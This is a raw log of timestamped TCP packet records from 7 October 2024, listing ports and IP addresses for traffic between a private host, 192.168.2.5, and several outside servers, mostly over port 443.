Oct 7, 2024 13:27:12.156028032 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.186516047 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.186561108 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.186609983 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.186625004 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.186683893 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.187017918 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.187035084 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.187043905 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.187050104 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.190532923 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.190566063 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.190687895 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.190879107 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.190890074 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.771274090 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.781430960 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.782778025 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.793363094 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.824162960 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.824179888 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.830440044 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.833283901 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.839809895 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.886652946 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.917999029 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.918028116 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.918525934 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.918534994 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.918834925 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.918860912 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.919255972 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.919262886 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.919497967 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.919503927 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.919631958 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.919656992 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.919923067 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.919926882 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.920128107 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.920140982 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.920145988 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.920150995 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.920489073 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:12.920494080 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:12.995102882 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:12.995138884 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:12.995296001 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:12.996380091 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:12.996392012 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.014295101 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.014323950 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.014377117 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.014390945 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.014606953 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.014661074 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.016335964 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.016393900 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.016506910 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.016916037 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.016982079 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.017044067 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.017335892 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.017359018 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.017420053 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.017436981 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.017476082 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.017802000 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.017828941 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.017867088 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.017879009 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.018260956 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.018307924 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.073159933 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.073183060 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.073194981 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.073200941 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.074213982 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.074244976 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.075938940 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.075958014 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.076793909 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.076800108 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.076817036 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.076822996 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.078360081 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.078366041 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.078377008 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.078382969 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.295938015 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.295973063 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.296061993 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.296529055 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.296545029 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.296631098 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.304075956 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.304095030 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.304234028 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.304244995 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.311053038 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.311079979 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.311217070 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.311769962 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.311779976 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.325633049 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.325645924 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.325702906 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.328797102 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.328813076 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.344033957 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.344054937 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.344125032 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.344312906 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.344321966 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.664365053 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.664975882 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.665000916 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.665525913 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.665587902 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.666249037 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.666299105 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.667164087 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.667229891 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.667344093 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.667351961 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.707431078 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.899492025 CEST	80	49925	185.215.113.103	192.168.2.5
Oct 7, 2024 13:27:13.899549961 CEST	49925	80	192.168.2.5	185.215.113.103
Oct 7, 2024 13:27:13.943664074 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.944737911 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.944756031 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.945338964 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.945343971 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.951366901 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.951431990 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.952414989 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.952476025 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.952512980 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.954000950 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.954015017 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.957077026 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.957077026 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.957104921 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.957130909 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.964754105 CEST	49959	443	192.168.2.5	142.250.185.110
Oct 7, 2024 13:27:13.964780092 CEST	443	49959	142.250.185.110	192.168.2.5
Oct 7, 2024 13:27:13.965471983 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.967823982 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.967833042 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.968563080 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.968568087 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.970772982 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.970798016 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.971369982 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:13.971393108 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:13.989938974 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.023221970 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.023251057 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.023333073 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.023751974 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.023778915 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.035464048 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.041548967 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.041555882 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.042444944 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.042450905 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.044634104 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.044691086 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.044738054 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.052371979 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.052381992 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.052392006 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.052397013 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.070668936 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.070714951 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.070772886 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.072870970 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.072897911 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.074609041 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.074640036 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.074687958 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.074704885 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.074865103 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.075417042 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.075442076 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.075459003 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.075465918 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.079863071 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.079917908 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.079956055 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.079977036 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.080023050 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.080049038 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.080054998 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.080357075 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.081154108 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.081154108 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.081178904 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.081192017 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.083988905 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.084012032 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.084068060 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.084712982 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.084727049 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.088282108 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.088299990 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.088310957 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.088315964 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.093007088 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.093051910 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.093116999 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.094405890 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.094432116 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.099340916 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.099378109 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.099431992 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.099669933 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.099677086 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.137912989 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.138098001 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.138164043 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.221338034 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.221355915 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.221385956 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.221393108 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.333024979 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.333077908 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.333146095 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.334100962 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.334115028 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.660120964 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.660731077 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.660744905 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.661154985 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.661231995 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.661875010 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.661925077 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.663073063 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.663141012 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.663255930 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.707355022 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.707369089 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.738318920 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.739267111 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.739284992 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.739794016 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.739798069 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.748686075 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.749203920 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.749217987 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.749720097 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.749725103 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.754035950 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.754230976 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.754550934 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.754563093 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.755050898 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.755057096 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.768213987 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.768881083 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.768899918 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.769269943 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.769275904 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.841937065 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.842443943 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.842511892 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.842575073 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.842582941 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.842595100 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.842598915 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.851839066 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.851866007 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.851922989 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.851932049 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.851984024 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.852165937 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.852173090 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.852196932 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.852201939 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.852339983 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.852384090 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.852502108 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.852667093 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.852686882 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.855381966 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.855421066 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.855695963 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.855825901 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.855839014 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.857028008 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.857049942 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.857072115 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.857112885 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.857125998 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.857148886 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.857182980 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.873826981 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.873831987 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.873924017 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.873934984 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.874109030 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.874109030 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.874125004 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.874151945 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.874197006 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.874284983 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.876750946 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.876790047 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.877063036 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.877372026 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.877388000 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.942923069 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.943001986 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.943010092 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.943056107 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.944817066 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.944839001 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.944849014 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.944855928 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.948295116 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.948335886 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.948414087 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.948590994 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 13:27:14.948604107 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:14.959546089 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.959570885 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.959640026 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.959650993 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.959696054 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.962848902 CEST	49968	443	192.168.2.5	172.217.23.110
Oct 7, 2024 13:27:14.962861061 CEST	443	49968	172.217.23.110	192.168.2.5
Oct 7, 2024 13:27:14.999980927 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 13:27:15.000569105 CEST	49973	443	192.168.2.5	13.107.246.60
